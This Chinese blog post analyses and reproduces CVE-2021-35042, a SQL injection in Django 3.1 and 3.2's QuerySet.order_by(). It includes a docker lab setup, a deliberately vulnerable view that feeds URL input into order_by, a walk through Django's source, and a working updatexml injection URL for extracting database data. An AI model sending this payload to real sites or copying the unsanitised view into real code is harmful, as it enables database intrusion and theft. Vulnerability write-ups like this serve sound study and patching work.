• CVE-2021-35042


    CVE-2021-35042

    漏洞介绍

    Django 是 Python 语言驱动的一个开源模型-视图-控制器(MVC)风格的 Web 应用程序框架。

    漏洞影响版本:django 3.1、3.2

    2021年07月01日,Django 发布了3.2.5 和 3.1.13版本,修复了Django中的一个SQL注入漏洞(CVE-2021-35042),Django建议用户尽快升级。

    由于传递给QuerySet.order_by()的用户输入未经处理,攻击者可以利用这绕过标记为弃用的路径中的预期列引用验证,从而导致SQL注入。

    搭建环境

    这里我们使用docker搭建环境

    docker-compose.yml 中 ports下面- "映射到物理机的端口:docker容器的端口" ,映射到物理机的端口默认为8000,如果有本机其他端口有冲突可以手动修改。

    启动环境

    docker-compose up -d
    

    django源码分析

    url.py

    可以理解为url路由

    from django.urls import include, path, re_path
    from . import views
    
    
    urlpatterns = [
        path('vuln/', views.vul), # 如果请求http://ip:port/vuln/ 就会交给views.py中的vul函数进行处理
    ]
    

    views.py

    处理对应http请求的函数

    from django.shortcuts import HttpResponse
    from .models import Collection
    
    
    def vul(request):
        query = request.GET.get('order', default='id') #获取url中的order的值,如果取不到默认将"id"赋值给query
        q = Collection.objects.order_by(query) # 数据库查询操作
        return HttpResponse(q.values()) # 将返回的数据作为响应体返回
    

    models.py

    from django.db import models
    
    class Collection(models.Model):
        name = models.CharField(max_length=128)
    

    这里出漏洞的位置是Collection.objects.order_by,这里在docker容器中不太好分析/usr/local/lib/python3.8/site-packages/django下的文件,所以我们使用pycharm下载3.1版本的django。

    上面views.py中的Collection.objects.order_by 我们ctrl点击order_by查看django源码

    问题点在1134行的obj.query.add_ordering(*field_names)这里传入的参数也就是上面views.py的query

    django\db\models\sql\query.py

       def add_ordering(self, *ordering):
            errors = []
            for item in ordering:
                if isinstance(item, str):
                    if '.' in item:  # 如果包含.来个警告直接continue 绕过了安全验证
                        warnings.warn(
                            'Passing column raw column aliases to order_by() is '
                            'deprecated. Wrap %r in a RawSQL expression before '
                            'passing it to order_by().' % item,
                            category=RemovedInDjango40Warning,
                            stacklevel=3,
                        )
                        continue
                    if item == '?':  # 如果item完全等于?也绕过了安全验证,但是无法利用 
                        continue
                    if item.startswith('-'): # 如果以-开头对item进行处理,无法漏洞利用
                        item = item[1:]
                    if item in self.annotations: 
                        continue
                    if self.extra and item in self.extra:
                        continue
    
                    self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) # 对参数进行安全验证
                elif not hasattr(item, 'resolve_expression'):
                    errors.append(item)
                if getattr(item, 'contains_aggregate', False):
                    raise FieldError(
                        'Using an aggregate in order_by() without also including '
                        'it in annotate() is not allowed: %s' % item
                    )
            if errors:
                raise FieldError('Invalid order_by arguments: %s' % errors)
            if ordering:
                self.order_by += ordering
            else:
                self.default_ordering = False
    

    最方便的还是传入的参数中包含"."这样就可以直接绕过安全验证直接去sql字符串拼接

    sql语句拼接的位置

    django\db\models\sql\compiler.py

    django\db\models\sql\compiler.py--->class SQLCompiler---->def get_order_by(self)

    这里便利上面传下来的ordering ,这里有一个判断条件如果.在field中col没有经过处理直接丢进去了

    现在其实就成了 select xxx from xxxx xxxxx orderby (这里可控);

    漏洞复现

    http://ip:port/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
    经过处理后就变成了下面的sql语句
    select xxx from xxxx xxxxx  orderby (vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
    

    接着查看表查看数据什么的 修改 "select @@version"这一部分即可


    __EOF__

  • 本文作者: gopher
  • 本文链接: https://www.cnblogs.com/beginnerzyh/p/16242177.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    JavaScript——创建对象的三种方法
    idea启动的静态的web页面不能通过ip地址访问
    Vue packages version mismatch: vue@xxx vue-server-renderer@xxx
    2022年“网络安全”赛项驻马店市赛选拔赛 任务书
    【C语言基础】循环
    python实现爬虫例子2
    数据访问 - EntityFramework集成
    前端学习笔记005:数据传输 + AJAX + axios
    实战:Spring AOP实现多数据源动态切换
    JS中一些判空操作,判null,判undefined操作和简化操作和if操作
  • 原文地址:https://www.cnblogs.com/beginnerzyh/p/16242177.html